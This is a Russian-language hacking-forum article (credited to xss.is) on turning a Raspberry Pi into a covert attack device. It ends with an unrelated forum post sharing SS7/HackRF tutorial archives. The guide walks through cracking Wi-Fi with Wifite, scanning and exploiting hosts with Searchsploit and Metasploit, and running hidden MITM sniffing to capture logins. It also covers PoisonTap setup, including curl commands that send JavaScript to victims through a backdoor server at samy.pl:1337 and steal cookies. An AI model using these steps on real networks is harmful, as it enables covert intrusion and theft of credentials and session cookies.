Raspberry Pi 1 Model A+:

Raspberry Pi 1 Model B+:

Raspberry Pi 2 Model B:

Raspberry Pi 3 Model B/B+:

Raspberry Pi 4 Model B:

Raspberry Pi Zero:

Raspberry Pi Zero W:

Raspberry Pi 400:

Raspberry Pi OS​

Raspberry Pi OS - Операционная система на базе Debian ,работающая на ядре Linux.
Разработана специально для использования на устройствах Raspberry Pi.

Основные особенности Raspberry Pi OS:
Базируется на Linux: Raspberry Pi OS основана на дистрибутиве Debian Linux. Это обеспечивает стабильность, надежность и широкий выбор пакетов и приложений для разработки и использования.
Поддержка аппаратных возможностей Raspberry Pi: Операционная система полностью оптимизирована для работы с аппаратными компонентами Raspberry Pi, включая процессор, графику, GPIO-пины, камеру и другие периферийные устройства.
Легкая установка: Raspberry Pi OS поставляется в виде образа, который можно записать на microSD-карту и установить на Raspberry Pi с помощью инструмента для записи образов.
Пользовательский интерфейс: Raspberry Pi OS предлагает несколько вариантов пользовательского интерфейса, включая рабочий стол PIXEL (Pi Improved Xwindows Environment, Lightweight) и консольный интерфейс командной строки.
Поддержка программного обеспечения: Операционная система поставляется с предустановленными приложениями и инструментами, такими как веб-браузер Chromium, офисные приложения LibreOffice, инструменты разработки Python и многое другое.
Обновления и поддержка: Raspberry Pi OS регулярно обновляется и поддерживается Raspberry Pi Foundation. Пользователи получают доступ к последним обновлениям безопасности, исправлениям ошибок и новым функциям.
Коммьюнити и поддержка: У Raspberry Pi OS активное сообщество пользователей, где можно найти помощь, обмен опытом и дополнительные ресурсы для использования операционной системы.

Raspberry Pi Imager - это официальное приложение, предоставляемое Raspberry Pi Foundation, которое облегчает установку операционной системы на Raspberry Pi.
Это мощный инструмент, который позволяет пользователям легко записывать образы операционных систем на microSD-карту для использования с Raspberry Pi.

Установка прошивки
Загрузка Raspberry Pi Imager:
Скачайте и установите Raspberry Pi Imager с официального сайта Raspberry Pi Foundation для вашей операционной системы.

Выбор операционной системы:
Запустите Raspberry Pi Imager.
В Raspberry Pi Imager выберите операционную систему, которую вы хотите установить на Raspberry Pi. Например, выберите "Raspberry Pi OS (32-bit)".

Выбор целевого носителя:
Подключите microSD-карту к компьютеру с помощью кард-ридера.
В Raspberry Pi Imager выберите опцию "Выбрать" и выберите вашу microSD-карту в списке доступных устройств.

Запись образа на microSD-карту:
Убедитесь, что выбран правильный носитель (microSD-карта).
Нажмите кнопку "Записать" (Write) в Raspberry Pi Imager, чтобы начать процесс записи образа на microSD-карту.
Подождите, пока Raspberry Pi Imager скопирует файлы образа на microSD-карту. Это может занять некоторое время.

Завершение установки:
По завершении процесса записи образа Raspberry Pi OS на microSD-карту, вы можете извлечь microSD-карту из кард-ридера.
Подключение и запуск Raspberry Pi:
Вставьте подготовленную microSD-карту в соответствующий слот на Raspberry Pi.
Подключите необходимые кабели (HDMI, клавиатура, мышь, питание и т. д.).
Включите Raspberry Pi, подавая питание на него.

Основные привилегии Raspberry Pi для хакера
Маленький размер и портативность Raspberry Pi​

Маленький размер устройства позволяет незаметно прятать и скрывать устройство от лишних глаз а также использовать полноценный компьютер у себя в кармане :)

Сочетание маленького размера, портативности и функциональности Raspberry Pi делает его идеальным выбором для пентестеров, которые нуждаются в гибком и мобильном инструменте для проведения тестирования безопасности в различных условиях и местах.
Размер Raspberry Pi позволяет легко переносить его с места на место, что делает его идеальным инструментом для мобильного пентестинга. Пентестеры могут брать Raspberry Pi с собой и использовать его для проведения тестирования на месте, в офисах клиентов или других физических местах.

Низкопрофильность: Маленький размер Raspberry Pi позволяет его дискретно использовать в различных сценариях. Он легко скрыть или интегрировать в другие устройства или объекты, чтобы проводить скрытое или физическое тестирование безопасности.

Энергоэффективность: Raspberry Pi потребляет небольшое количество энергии, что делает его идеальным для мобильного использования. Он может быть запитан от портативной батареи, а это значит, что пентестеры могут продолжать работу вдали от электрической розетки, что особенно полезно при проведении тестирования на открытом воздухе или в удаленных местах.

Интеграция с другими устройствами: Raspberry Pi имеет различные порты и интерфейсы, которые позволяют его легко интегрировать с другими устройствами и сенсорами. Это дает пентестерам возможность создавать комплексные системы для проведения тестирования безопасности с использованием Raspberry Pi в качестве управляющего устройства.

Замеры устройства:
Raspberry Pi 4 Model B:

Длина: 85 мм​

Ширина: 56 мм​

Высота: 17 мм​

Raspberry Pi 3 Model B+:

Длина: 85 мм​

Ширина: 56 мм​

Высота: 17 мм​

Raspberry Pi 2 Model B:

Длина: 85 мм​

Ширина: 56 мм​

Высота: 17 мм​

Raspberry Pi 1 Model B+:

Длина: 85 мм​

Ширина: 56 мм​

Высота: 17 мм​

Raspberry Pi Zero W:

Длина: 65 мм​

Ширина: 30 мм​

Высота: 5 мм​

Гибкость и настраиваемость девайса​

Гибкость и настраиваемость Raspberry Pi при пентесте играют важную роль и предоставляют хакерам возможность адаптировать устройство к своим потребностям и требованиям конкретной задачи.
Выбор операционной системы: Raspberry Pi поддерживает различные операционные системы, включая специализированные дистрибутивы для пентестинга, такие как Kali Linux. Хакеры могут выбирать наиболее подходящую операционную систему в зависимости от своих навыков, предпочтений и требований задачи.

Установка и настройка инструментов: Raspberry Pi позволяет устанавливать и настраивать широкий спектр инструментов для пентестинга и анализа безопасности. Хакеры могут выбирать и настраивать инструменты в соответствии с конкретными сценариями и целями пентеста.

Доступ к аппаратным ресурсам: Raspberry Pi предоставляет доступ к различным аппаратным ресурсам, таким как GPIO порты, камера, звуковая система и другие. Это позволяет хакерам интегрировать дополнительные устройства и сенсоры, используя их для сбора данных или взаимодействия с окружающей средой.

Настройка сети и подключение: Raspberry Pi имеет различные опции подключения, включая Ethernet, Wi-Fi и Bluetooth. Хакеры могут настраивать сетевые параметры, использовать Raspberry Pi в качестве точки доступа или создавать мосты для проведения специфических атак или мониторинга сети.

Расширение возможностей: Raspberry Pi можно расширять с помощью дополнительных модулей и шилдов. Хакеры могут подключать дополнительные устройства, такие как GPS-модули, радиомодули или считыватели RFID, чтобы расширить функциональность Raspberry Pi и использовать их в контексте пентеста.

Автоматизация и программирование: Raspberry Pi предоставляет возможности для автоматизации и программирования. Хакеры могут использовать различные языки программирования, такие как Python, для создания собственных скриптов и инструментов, автоматизации задач и анализа данных.

Гибкость и настраиваемость Raspberry Pi позволяют хакерам создавать индивидуальные и настраиваемые платформы для проведения пентестов, адаптированных к конкретным сценариям и требованиям задачи. Это помогает повысить эффективность и точность проведения пентестинга и обеспечивает большую гибкость при адаптации к различным ситуациям и условиям.

Доступность и относительная низкая стоимость Raspberry Pi​

Низкая стоимость: Raspberry Pi предлагает набор функций и возможностей по относительно низкой цене. В сравнении с другими компьютерами и микроконтроллерами Raspberry Pi предоставляет мощность и гибкость по более доступной цене, что делает его привлекательным для хакеров с различным уровнем опыта и бюджетом.
Широкое распространение и доступность: Raspberry Pi пользуется огромной популярностью и широким распространением. Он доступен для покупки во многих онлайн-магазинах и физических магазинах по всему миру. Это означает, что хакеры могут легко получить доступ к Raspberry Pi и начать использовать его в своих проектах без лишних сложностей.

Разнообразие моделей и вариантов: Raspberry Pi предлагает различные модели с различными характеристиками и ценами. Это позволяет выбрать подходящую модель в соответствии с требованиями конкретного проекта или задачи. Например, Raspberry Pi Zero является наименее дорогой моделью, а Raspberry Pi 4 предлагает больше вычислительной мощности и возможностей за небольшую дополнительную стоимость.

Сообщество и поддержка: Raspberry Pi имеет активное сообщество пользователей и разработчиков. Существует множество онлайн-ресурсов, форумов, блогов и видеоуроков, где можно найти информацию, советы и поддержку по использованию Raspberry Pi. Это помогает хакерам быстро разобраться с устройством, обмениваться опытом и получать помощь в решении возникающих вопросов.

Благодаря доступности и относительно низкой стоимости Raspberry Pi становится доступным инструментом для хакеров, позволяющим им воплощать свои идеи и проекты без значительных финансовых затрат. Это позволяет большему числу людей войти в область хакинга и пентестинга, расширяя сообщество и способствуя инновациям в сфере информационной безопасности.

Внешний вид девайса
Смотрим на плату​

Компоненты на плате: Raspberry Pi имеет различные компоненты, включая процессор, память, видеочип, аудиочип, контроллеры портов и другие элементы. Изучение этих компонентов может помочь хакерам в понимании архитектуры устройства и определении его возможностей.

Маркировки на плате: На плате Raspberry Pi могут быть различные маркировки и надписи, указывающие на разъемы, порты, пины GPIO и другие функциональные элементы. Изучение этих маркировок может быть полезным при подключении внешних устройств или проведении физических атак.

Пины GPIO: Raspberry Pi имеет GPIO (General Purpose Input/Output) пины, которые позволяют хакерам подключать дополнительные устройства и сенсоры. Изучение расположения и функциональности пинов GPIO может быть полезным при разработке собственных проектов или взаимодействии с внешними устройствами в рамках пентеста.

Слоты для карт памяти: Raspberry Pi обычно использует слот microSD для загрузки операционной системы и хранения данных. Изучение слота для карты памяти может быть полезным при проведении анализа безопасности файловой системы или поиске следов вредоносного программного обеспечения.

Оригинальность и целостность платы: При пентесте важно проверить оригинальность и целостность платы Raspberry Pi. Хакеры могут искать подозрительные маркировки, следы вмешательства или другие аномалии, которые могут свидетельствовать о возможной модификации или компрометации устройства.

Изучение ревизии платы: Raspberry Pi выпускает различные ревизии платы с различными улучшениями и исправлениями. Изучение ревизии платы может быть полезным для понимания ее функциональности и определения совместимости с определенным программным обеспечением или аксессуарами.

При проведении пентеста с использованием Raspberry Pi, изучение платы и ее компонентов может помочь вам понять аппаратные возможности устройства, обнаружить потенциальные уязвимости и использовать их в своих целях.
1686166871577.png 1686166882777.png

Процессор и видеочип​

Процессор:
В зависимости от конкретной модели Raspberry Pi, процессор может быть разным. Например, в Raspberry Pi 4 используется 64-битный четырехъядерный процессор ARM Cortex-A72 с тактовой частотой до 1,5 ГГц.
Ранние модели Raspberry Pi могут иметь меньшую производительность и более старую архитектуру процессора.
Процессор Raspberry Pi обладает низким энергопотреблением и хорошей производительностью для типичных задач, которые выполняются на Raspberry Pi, таких как веб-сервер, мультимедийное воспроизведение, программирование и другие.
Процессор Raspberry Pi имеет встроенный графический процессор (GPU), который обеспечивает обработку графики и вывод изображения на подключенный монитор или дисплей.

Видеоплата:
Raspberry Pi также содержит видеоплату, которая обеспечивает графические возможности устройства. Видеоплата обрабатывает графические данные и отвечает за вывод изображения на подключенные дисплеи или мониторы.
Raspberry Pi поддерживает различные разрешения и форматы видео, включая высокое разрешение (Full HD) и 4K Ultra HD в некоторых моделях.
Видеоплата Raspberry Pi также может поддерживать аппаратное декодирование видео в различных форматах, таких как H.264 и H.265, что позволяет плавное воспроизведение видео с минимальной нагрузкой на процессор.
Комбинация процессора и видеоплаты в Raspberry Pi обеспечивает достаточную вычислительную мощность и графические возможности для множества задач, включая веб-серверы, медиа-плееры, игры и другие приложения. Это делает Raspberry Pi привлекательным выбором для различных проектов, в том числе и в области хакинга и пентеста, где необходимы вычислительные мощности и графическая обработка

Порты и слоты​

USB-порты: Raspberry Pi обычно имеет несколько USB-портов, которые позволяют подключать различные периферийные устройства, такие как клавиатура, мышь, флеш-накопитель, Wi-Fi адаптер и другие. USB-порты обеспечивают простое расширение возможностей Raspberry Pi и подключение внешних устройств.

HDMI-порт: HDMI-порт позволяет подключать Raspberry Pi к монитору или телевизору для вывода видеосигнала. Это позволяет использовать Raspberry Pi для мультимедийных приложений, просмотра видео, работы с графикой и других задач, требующих визуального вывода.

Аудиоразъем: Raspberry Pi имеет аудиоразъем, который позволяет подключать наушники, колонки или другие аудиоустройства. Это позволяет воспроизводить звуковые файлы, использовать голосовые команды или работать с аудиоинтерфейсами.

Ethernet-порт: Некоторые модели Raspberry Pi могут быть оснащены Ethernet- портом, который позволяет подключить Raspberry Pi к сети. Это обеспечивает возможность доступа к сетевым ресурсам, удаленное управление устройством или проведение сетевых тестов в рамках пентеста.

Слот microSD: Raspberry Pi использует слот microSD для загрузки операционной системы и хранения данных. MicroSD-карта содержит файловую систему и программное обеспечение, необходимое для работы Raspberry Pi. Загрузка операционной системы на Raspberry Pi происходит путем вставки microSD-карты в соответствующий слот.

GPIO: GPIO-пины представляют собой набор общего назначения пинов, которые можно использовать для подключения и управления различными электронными компонентами и сенсорами. GPIO-пины позволяют расширить функциональность Raspberry Pi и создавать собственные проекты.

Аксессуары​

Из всех аксессуаров для Raspberry Pi , мы будем использовать Кейс для платы (Корпус) и сенсорный резистивный дисплей от Waveshare 3.5 дюймов.

Кейс:
Это один из самых популярных аксессуаров для Raspberry Pi , он полезен для охлаждения и переноски платы.
Несколько видов кейсов:
Пластиковый корпус (удобен для переноски платы , предает ей защиту от внешних факторов)
1686166921747.png

Корпус с вентиляцией (Небольшие радиаторы и отверстия для охлаждения)
1686166932721.png

Корпус с активным охлаждением (использует мини кулер который питается через GPIO)
1686166957514.png

Дисплей:
Я использую дисплей от Waveshare на 3.5 дюймов.
1686166967385.png
Подключение и питание идет через GPIO пины.

Характеристики дисплея:

Разрешение: 480 х 320 пикселей​

Контроллер: XPT2046​

Тип дисплея: TFT​

Интерфейс: SPI​

Тип Touch Screen: резистивный​

Количество цветов: 65536​

Подсветка экрана: LED​

Соотношение сторон: 8:5​

Размеры: 85,06 х 56,21.​

Установка драйвера на Kali Linux
sudo rm -rf LCD-show-kali
git clone https://github.com/lcdwiki/LCD-show-kali.git
chmod -R 755 LCD-show-kali
cd LCD-show-kali/
Теперь скачиваем https://github.com/lcdwiki/LCD-show-kali.git
Тут мы найдем скрипты на Bash-e для установки драйвера под вашу модель.

Подготовка Raspberry Pi к пентесту
Установка Kali Linux на Raspberry Pi​

1. Качаем Raspberry Pi Imager
Скачать для Windows: https://downloads.raspberrypi.org/imager/imager_latest.exe

Cкачать для MacOS: https://downloads.raspberrypi.org/imager/imager_latest.dmg

Скачать для Linux: https://downloads.raspberrypi.org/imager/imager_latest_amd64.deb

2.Качаем ARM образ Kali Linux для Raspberry Pi
Raspberry Pi 2, 3, 4 and 400 (32-bit) - <https://kali.download/arm- images/kali-2023.2/kali-linux-2023.2-raspberry-pi-armhf.img.xz>

Raspberry Pi 2 (v1.2), 3, 4 and 400 (64-bit) - <https://kali.download/arm- images/kali-2023.2/kali-linux-2023.2-raspberry-pi-arm64.img.xz>

Raspberry Pi 1 (Original) - <https://kali.download/arm- images/kali-2023.2/kali-linux-2023.2-raspberry-pi1-armel.img.xz>

Raspberry Pi Zero 2 W - <https://kali.download/arm-images/kali-2023.2/kali- linux-2023.2-raspberry-pi-zero-2-w-armhf.img.xz>

Raspberry Pi Zero 2 W (PiTail) - [https://kali.download/arm- images/ka...3.2-raspberry-pi-zero-2-w-pitail- armhf.img.xz](https://kali.download/arm-images/kali-2023.2/kali- linux-2023.2-raspberry-pi-zero-2-w-pitail-armhf.img.xz)

Raspberry Pi Zero W - <https://kali.download/arm-images/kali-2023.2/kali- linux-2023.2-raspberry-pi-zero-w-armel.img.xz>

Raspberry Pi Zero W (PiTail) - [https://kali.download/arm- images/ka...023.2-raspberry-pi-zero-w-pitail- armel.img.xz](https://kali.download/arm-images/kali-2023.2/kali- linux-2023.2-raspberry-pi-zero-w-pitail-armel.img.xz)

3. Устанавливаем образ ОС на SD карту.
- Вставляем SD карту в ПК.
- Запускаем Raspberry PI Imager.
1686167012267.png
-Выбираем скачанный образ прошивки и SD карту на которую мы будем записывать ОС.
- Нажимаем “Записать” и ждем завершение установки.

4.Установка и запуск Kali Linux на Raspberry Pi
После завершения установки ОС на SD карту , вставляем ее в Micro SD порт в Raspberry Pi и подаем на малинку питание через MicroUSB кабель.
Заранее подключите малинку к монитору через HDMI чтобы видеть прогресс установки системы.
1686167035448.png
После завершения развертки системы на Raspberry Pi , мы сможем полноценно пользоваться Kali Linux.

Настройка системы​

Обновление системы
sudo apt update && sudo apt upgrade

Настройка Wi-Fi
Для этого отредактируйте файл /etc/wpa_supplicant/wpa_supplicant.conf, добавив следующую конфигурацию Wi-Fi:

network={ ssid="название_сети" psk="пароль_сети" }
Замените "название_сети" на имя вашей Wi-Fi-сети и "пароль_сети" на пароль сети.

Настройка статического IP-адреса
Вам нужно отредактировать файл /etc/dhcpcd.conf и добавить следующую конфигурацию:

interface wlan0 static ip_address=192.168.0.100/24 static routers=192.168.0.1 static domain_name_servers=192.168.0.1
Замените значения IP-адреса, маршрутизатора и DNS-сервера на соответствующие для вашей сети.

Настройка автоматизации атак​

Автоматизация действий системы на Raspberry Pi – это очень важная фишка при пентесте , потому что для полноценной работы с устройством нужно клавиатуру , мышь , монитор , и источник питания.
С помощью таких языков программирования как Python и Bash мы можем написать скрипты для автоматизации задуманных действий и прописать их в автозагрузку системы.

Создаем скрипт:
Bash: (Сохранять с расширением .sh)

Bash:Copy to clipboard

#!/bin/bash
nmap -A <ваша подсеть> -oN nmap_report.txt

(Скрипт с помощью инструмента nmap сканирует всю подсеть (запишите ее вместо <ваша подсеть> ) и сохраняет файл с полученными данными в поточный каталог.)

Python: (Сохранять с расширением .py)

Python:Copy to clipboard

Import os
Os.system(nmap -A <ваша подсеть> -oN nmap_report.txt)

(Скрипт с помощью модуля OS , запускает инструмент nmap и сохраняет файл с полученными данными в поточный каталог.)

Автоматический запуск скрипта при подаче питания на Raspberry Pi:
sudo nano /etc/rc.local
Прокрутите вниз файла перед строкой exit 0 и добавьте команду. Например, если вы хотите запустить скрипт myscript.sh, добавьте следующую строку перед exit 0:
/полный/путь/к/myscript.sh
Сохраните файл и закройте редактор.

Скрываем железку от посторонних глаз​

Выбор корпуса: Выберите корпус для Raspberry Pi, который соответствует окружению, где вы размещаете устройство.
Это поможет ему выглядеть как обычное устройство и не привлекать внимания.

Интеграция с другими устройствами
Разместите Raspberry Pi внутри других устройств, чтобы скрыть его. Например, вы можете спрятать его внутри роутера или телевизора.

Скрытие кабелей
Организуйте кабели и провода Raspberry Pi таким образом, чтобы они были скрыты и не привлекали внимания. Используйте специальные кабельные каналы или скройте их за мебелью.

Функциональная маскировка
Используйте Raspberry Pi в реальных функциях, чтобы он выглядел как обычное устройство. Например, вы можете использовать его в качестве медиаплеера или игровой приставки.

Физическая маскировка помогает сохранить конфиденциальность и безопасность во время пентеста, но не обеспечивает абсолютную защиту от определения устройства.

Пентест с использованием Raspberry Pi
Кейс №1 Атака на Wifi сеть​

Для атаки на Wifi точку , мы будем использовать инструмент Wifite , он установлен в Kali Linux по умолчанию.
Для атаки нам нужно:

-Raspberry Pi​

-Кабель MicroUSB​

-Wifi адаптер (я использую Alfa awus 1900)​

-Power bank​

-Клавиатура​

-Дисплей​

1. Устанавливаем драйвера
Диспей: https://github.com/lcdwiki/LCD-show-kali

Wifi адаптер: <https://www.briansantacruz.me/2019/07/27/how-to-install-alfa- awus1900-on-kali-linux/>

2. Подключаем клавиатуру , дисплей и питание.
У нас должна получиться вот такая схема.
1686167054756.png
Смотрим чтобы после подачи питания у нас все корректно работало.

3. Запуск инструмента Wifite
Sudo Wifite
1686167093912.png
Теперь выбираем нашу цель , выбрав цифру возле точки доступа wifi.
Ждем пока Wifite взломает пароль. После взлома мы увидим пароль в консоли.

Кейс №2 Атака на локальную сеть​

1. Устанавливаем драйвера

Дисплей: https://github.com/lcdwiki/LCD-show-kali

Wifi адаптер: <https://www.briansantacruz.me/2019/07/27/how-to-install-alfa- awus1900-on-kali-linux/>​

2. Подключаем клавиатуру , дисплей и питание.

3. Information Gathering
- Подключаемся к сети через Wifi или Ethernet.
- С помощью команды ip a узнаем в которой подсети мы находимся.

Теперь с помощью команды nmap -A 192.168.0.0/24 (не забудьте изменить под свою подсеть) запускаем сканирование подсети.
1686167106228.png
Отсюда мы можем узнать такую информацию:

-IP устройства​

-MAC устройства​

-Открытые порты на устройстве​

-Версии служб на устройстве​

-Операционная система устройства​

4. Поиск уязвимостей в хостах
Используя инструмент Searchsploit , мы будем искать уязвимости в зависимостях и службах хостов.
Searchsploit <ключевое слово>
Ключевое слово:

После поиска , инструмент выдаст нам информацию об уязвимости , и путь у файлу с эксплоитом.
1686167124847.png
Для запуска файла , нам нужно узнать полный путь к нему , делаем locate <path из searchsploit>

5. Эксплуатация уязвимостей
Используя скрипы которые нам выдал Searchsploit , мы можем эксплуатировать найденную уязвимость и получить доступ к устройству.
Также используя инструмент Metasploit Framework ,мы будем эксплуатировать уязвимости.
Sudo msfconsole
-Для поиска информации об уязвимости и эксплоита , пишем search <ключевое слово>
Ключевое слово:

1686167139409.png
-Для выбора сплоита пишем use <номер сплоита>
-Для получения информации об уязвимости и эксплоите , пишем info
-Для получения параметров запуска эксплоита , пишем show options
-Для изменения параметров эксплоита , пишем set <параметр> <значение параметра> (например: set rhost 192.168.0.1)

Кейс №3 Ручной сниффер сетевого траффика​

MITM - атака - это тип атаки на сеть, когда злоумышленник встраивается между двумя коммуницирующими устройствами и перехватывает их сетевой трафик. Он получает возможность просматривать, изменять или даже вставлять свои данные в обмен информацией между устройствами, при этом они не осознают присутствие злоумышленника.

Перехват данных - это процесс перехвата и записи информации, передаваемой между устройствами в сети.
1.Установка Intercepter-NG
sudo apt install build-essential libpcap-dev
git clone https://github.com/intercepter-ng/intercepter-ng.git
cd intercepter-ng
sudo make

2.Запуск и настройка
Sudo ./intercepter-ng
Сканируем сеть:
Заходим в раздел сканирования
1686167155347.png
И запускаем скан , кликая правой кнопкой мышки по пустому полю и выбирая “smart scan”
После скана выделяем все устройства и кликая правой кнопкой мыши , выбираем их как цель для атаки.

Переходим в раздел MITM
1686167178649.png
Тут мы нажимаем на 3 главных кнопочки:
1686167187051.png
Атака началась , теперь мы можем отключить клавиатуру и дисплей и спрятать Raspberry Pi подальше от лишних глаз.
После длительного времени , мы можем увидеть что у нас собрались некоторые данные , инструмент собирает такую инфу как:

Протоколы и типы пакетов: Intercepter-NG анализирует пакеты данных, перехватываемые в сети, и распознает используемые протоколы. Это может быть TCP, UDP, ICMP и другие протоколы. Также инструмент может отображать типы пакетов, такие как запросы HTTP, DNS-запросы и т.д.

URL-адреса и содержимое HTTP-трафика: Если Intercepter-NG перехватывает HTTP- трафик, то он может отображать URL-адреса, по которым осуществляются запросы. Кроме того, инструмент может показывать содержимое HTTP-трафика, включая заголовки и тело запросов и ответов.

Аутентификационные данные: Если в перехваченном трафике используются незашифрованные протоколы, Intercepter-NG может показывать аутентификационные данные, такие как логины и пароли, передаваемые через сеть.

DNS-запросы и ответы: Инструмент может отображать DNS-запросы и соответствующие ответы, позволяя видеть, какие доменные имена запрашиваются устройствами в сети.

ARP-запросы и ответы: Intercepter-NG может отслеживать ARP-запросы и ответы, связанные с разрешением IP-адресов на MAC-адреса в сети.

SSL/TLS-соединения: Если Intercepter-NG настроен для расшифровки SSL/TLS- соединений, то инструмент может показывать расшифрованное содержимое зашифрованного трафика, включая URL-адреса, заголовки и тело запросов и ответов.

3. Запуск Wireshark
Sudo Wireshark
(Инструмент установлен в Kali Linux по умолчанию)

4.Настройка и запуск перехвата пакетов.
Выбираем адаптер:
1686167217526.png
После того как мы выбрали адаптер , начнется запуск перехвата пакетов.
Теперь мы можем оставить малинку без клавиатуры и дисплея и спрятать.
После завершения сканирования , мы можем работать с перехваченным трафиком , пересматривать содержимое пакетов , расшифрововать их и также воссоздать схему сети из дампа трафика.

Дополнительные проекты с девайсом
Анонимный роутер из Raspberry pi​

Подготовка
sudo apt update && sudo apt upgrade

Установите необходимые пакеты Tor:
sudo apt install tor

Установите пакеты, связанные с настройкой точки доступа:
sudo apt install hostapd dnsmasq

Настройка Tor:
Откройте файл настроек Tor для редактирования:
sudo nano /etc/tor/torrc
Раскомментируйте (уберите символ #) или добавьте следующие строки в файл:
VirtualAddrNetworkIPv4 10.192.0.0/10 AutomapHostsOnResolve 1 TransPort 9040 TransListenAddress 192.168.42.1 DNSPort 53 DNSListenAddress 192.168.42.1
Сохраните изменения и закройте файл.

Настройка точки доступа:
Создайте и откройте файл конфигурации точки доступа:
sudo nano /etc/hostapd/hostapd.conf
Добавьте следующие строки в файл:
interface=wlan0 ssid=YourSSID hw_mode=g channel=6 macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 wpa=2 wpa_passphrase=YourPassphrase wpa_key_mgmt=WPA- PSK wpa_pairwise=TKIP rsn_pairwise=CCMP
Замените "YourSSID" на имя вашей сети, а "YourPassphrase" на пароль для доступа к сети.
Сохраните изменения и закройте файл.

Настройка DHCP и DNS:
Создайте резервные копии оригинальных файлов конфигурации:
sudo mv /etc/dhcpcd.conf /etc/dhcpcd.conf.orig sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig

Создайте новый файл конфигурации для DHCP:
sudo nano /etc/dhcpcd.conf

Добавьте следующие строки в файл:
interface=wlan0 static ip_address=192.168.42.1/24 nohook wpa_supplicant

Сохраните изменения и закройте файл.
Создайте новый файл конфигурации для DNS:
sudo nano /etc/dnsmasq.conf

Добавьте следующие строки в файл:
interface=wlan0 dhcp-range=192.168.42.10,192.168.42.50,255.255.255.0,24h domain=wlan address=/#/192.168.42.1
Сохраните изменения и закройте файл.

Запуск анонимного роутера:
Включите Tor:
sudo service tor start

Включите точку доступа:
sudo systemctl unmask hostapd sudo systemctl enable hostapd sudo systemctl start hostapd

Включите DHCP и DNS:
sudo systemctl enable dnsmasq sudo systemctl start dnsmasq

Настройте перенаправление трафика:
sudo nano /etc/sysctl.conf

Раскомментируйте или добавьте строку:
net.ipv4.ip_forward=1

Сохраните изменения и закройте файл.
Активируйте настройки перенаправления:
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"

Настройте правила iptables:
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 9040 sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT --to-ports 9040

Сохраните правила iptables:
sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"

Добавьте команду для восстановления правил iptables при загрузке:
sudo nano /etc/rc.local

Добавьте перед строкой "exit 0" следующую строку:
iptables-restore < /etc/iptables.ipv4.nat

Сохраните изменения и закройте файл.
После завершения всех шагов вы должны иметь работающий анонимный роутер на базе Raspberry Pi. Устройства, подключенные к точке доступа, будут маршрутизировать свой трафик через сеть Tor, обеспечивая повышенную анонимность при использовании Интернета.

Poisontap​

Загрузка PoisonTap
Исходный код: https://github.com/samyk/poisontap
git clone https://github.com/samyk/poisontap.git

Установка / Размещение файлов
sudo bash

Если Raspbian ДО 2016-05-10, тогда запустите следующую строку:

Bash:Copy to clipboard

BRANCH=next rpi-update

echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces

echo "dtoverlay=dwc2" >> /boot/config.txt

echo -e "dwc2\ng_ether" >> /etc/modules

echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local

mkdir /home/pi/poisontap

chown -R pi /home/pi/poisontap

apt-get update && apt-get upgrade

apt-get -y install isc-dhcp-server dsniff screen nodejs

Поместите dhcpd.conf в /etc/dhcp/dhcpd.conf, а остальные файлы в /home/pi/poisontap, затем перезагрузите, чтобы убедиться, что всё работает.
В репозитории присутствует ряд файлов, которые имеют различное применение. Их перечень:

backdoor.html — Всякий раз, когда происходит переход по URL http://hostname/PoisonTap для эксфильтрации кукиз, этот файл возвращается в качестве содержимого для принудительного кэширования. Он содержит бэкдор, который создаёт исходящий websocket на samy.pl:1337 (настраивается на любой хост/порт), который остаётся открытым для команд с сервера. Это означает, когда вы загружаете iframe на сайте, такой как http://hostname/PoisonTap, будет заполнено этим содержимым (даже после удаления из машины PoisonTap).

backend_server.js — это сервер Node.js, который вы запускаете на вашем доступном из Интернета сервере. Это то, к чему подключается backdoor.html (например, samy.pl:1337). Этот тот же сервер, к которому вы подключаетесь для отправки команд для ваших любимых машин, в которые вы ранее втыкали PoisonTapp, например

всплывающее окно для жертвы

curl '[URL]http://samy.pl:1337/exec?alert[/URL]("muahahahaha")'

установка кукиз для жертвы

curl '[URL]http://samy.pl:1337/exec?document.cookie=[/URL]"key=value"'

принудить жертвы загружить url через ajax (помните, jQuery сохранён внутри бэкдора)

curl '[URL]http://samy.pl:1337/exec?$.get[/URL]("[URL]http://192.168.0.1.ip.samy.pl/login[/URL]",function(d)\{console.log(d)\})'

pi_poisontap.js — Он запускается через Node.js на Raspberry Pi Zero и является HTTP сервером, ответственным за обработку любых HTTP запросов, перехватываемых PoisonTap, сохранение перекаченных кукиз и внедрение кэшированных бэкдоров.

pi_startup.sh — Он запускается при старте Raspberry Pi Zero, чтобы настроить и поднять эмулятор гаджета Ethernet-over-USB, поднять наш злой DHCP сервер, позволить перенаправлять трафик, DNS спуфинг и запустить описанный выше pi_poisontap.js.

target_backdoor.js — Это файл, добавляемый к любым связанным с CDN Javascript файлам, таким образом забэкдоривая их, например, CDN jQuery URL от Google.

target_injected_xhtmljs.html — Это код, который внедряется в непреднамеренные/фоновые HTTP/AJAX запросы на машине жертвы и запускает всю атаку. Он сконструирован таким образом, что он может быть интерпретирован как HTML или как Javascript, и при этом исполняет тот же код. В нём же HTML5 canvas, который можно наблюдать в демонстрации, когда страницы пропускаются через PoisonTap.

poisontap.cookies.log — Этот файл генерируется после начала отправки HTTP зоапросов с пользовательской машины на PoisonTap, в нём сохраняются куки из браузера вместе с ассоциированным URL/доменом, которому они принадлежат.

Итоги​

Сегодня я познакомил вас с таким девайсом как Raspberry Pi! Мы узнали значение и применение этой железки при пентесте.

С вами был как всегда ваш маленький Gufi!

До встреч в следующих статьях!

Автор: Gufi
Сделано специально для xss.is!

SS7 VIDEO TUTORIAL FOR HACKRF1 DEVICE
ID: 676535aeb4103b69df3735b8
Thread ID: 76832
Created: 2022-11-28T06:06:59+0000
Last Post: 2023-09-12T14:41:49+0000
Author: pyratemade
Replies: 7 Views: 2K

FOUNND THIS VIDEO TUTORIAL GOING THRU SOME FILES ITS FOR THE HACKER RF1 DEVICE LIKE SDR RADIO HACKING IF THIS YOUR THING HERE YOU GO
ss7 tutorial 3.zip - 205.3 MB
ss7 tutorial1.zip - 226.0 MB
ss7 tutorial 2.zip - 276.5 MB

